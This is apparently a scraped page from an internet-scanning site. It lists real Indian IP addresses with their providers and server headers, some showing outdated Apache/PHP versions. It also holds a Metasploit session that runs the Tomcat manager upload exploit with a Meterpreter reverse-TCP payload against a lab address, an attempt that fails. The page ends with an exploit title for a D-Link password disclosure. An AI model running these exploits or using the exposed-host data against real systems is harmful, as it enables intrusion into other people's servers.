Product Spotlight: We've Launched a new API for Fast Vulnerability Lookups. Check out [CVEDB](#)

Welcome to XAMPP

115.241.144.10

Reliance Jio Infocomm Limited

India, Jaipur

HTTP/1.1 200 OK

Date: Thu, 28 May 2026 18:49:14 GMT

Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30

Last-Modified: Thu, 04 May 2017 12:18:01 GMT

ETag: "1d99-54eb1c3943040"

Accept-Ranges: none

Content-Length: 7577

Content-Type: text/html

HTTP Server Test Page powered by CentOS-WebPanel.c...

103.236.110.81

Ideastack solutions private limited

India, Mumbai

HTTP/1.1 200 OK

Date: Thu, 28 May 2026 18:46:37 GMT

Server: Apache/2.4.62 (AlmaLinux)

Last-Modified: Mon, 22 Sep 2025 13:35:52 GMT

ETag: "13cd-63f63e5eb9e00"

Accept-Ranges: bytes

Content-Length: 5069

Content-Type: text/html; charset=UTF-8

Error

103.254.237.10

SSL Certificate

8081
1,945

[More...](#)

Issued To:
|- Common Name:
leposol.aptaracorp.com

Supported SSL Versions:
TLSv1.2, TLSv1.3

TOP ORGANIZATIONS

**Amazon Data
Services India**
125,150

Amazon.com, Inc.
30,152

DigitalOcean, LLC
23,434

**Reliance Jio
Infocomm Limited**
12,643

**Amazon
Technologies Inc.**
10,964

[More...](#)

HTTP/1.1 404 Not Found
Date: Thu, 28 May 2026 18:48:30 GMT
Server: **Apache/2.4.61** (Win64) OpenSSL/3.1.6
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
X-Frame-Options: SAMEORIGIN
Permissions-Policy: geolocation=
Referrer-Policy: same-origin
X-Powered-By: Express
A...

400 Bad Request

59.152.54.244
[Blazenet BRD](#)
India, Mumbai

HTTP/1.1 400 Bad Request
Date: Thu, 28 May 2026 18:47:40 GMT
Server: **Apache**
Content-Length: 402
Connection: close
Content-Type: text/html; charset=iso-8859-1

2026-05-28T18:47:09.504921

User's blog

13.232.209.215
ec2-13-232-209-215.ap-south-1.compute.amazonaws.com
[Amazon Data Services India](#)
India, Mumbai

cloud self-signed

SSL Certificate

Issued By:
|- Common Name:
example.com

Issued To:
|- Common Name:
example.com

Supported SSL Versions:
TLSv1.2, TLSv1.3

TOP PRODUCTS

Apache httpd
240,281

**Apache Tomcat/
Coyote JSP engine**
2,445

```
msf > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf exploit(multi/http/tomcat_mgr_upload) > show options
```

Module options (exploit/multi/http/tomcat_mgr_upload):

Name	Current Setting	Required	Description
HttpPassword		no	The password for the specified username
HttpUsername		no	The username to authenticate as
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Support ed proxies: socks5h, sapni, socks4, http, socks5
RHOSTS	192.168.56.102	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/manager	yes	The URI path of the manager app (/html/upload and /undeploy will be used)
VHOST		no	HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	---
0	Java Universal

View the full module info with the `info`, or `info -d` command.

```
msf exploit(multi/http/tomcat_mgr_upload) > exploit
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Retrieving session ID and CSRF token...
[-] Exploit aborted due to failure: unknown: Unable to access the Tomcat Manager
[*] Exploit completed, but no session was created.
msf exploit(multi/http/tomcat_mgr_upload) > 
```

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2026-05-26				D-Link DSL 2600II - 'rom-0' Admin Password Disclosure		Multiple	Amir Hossein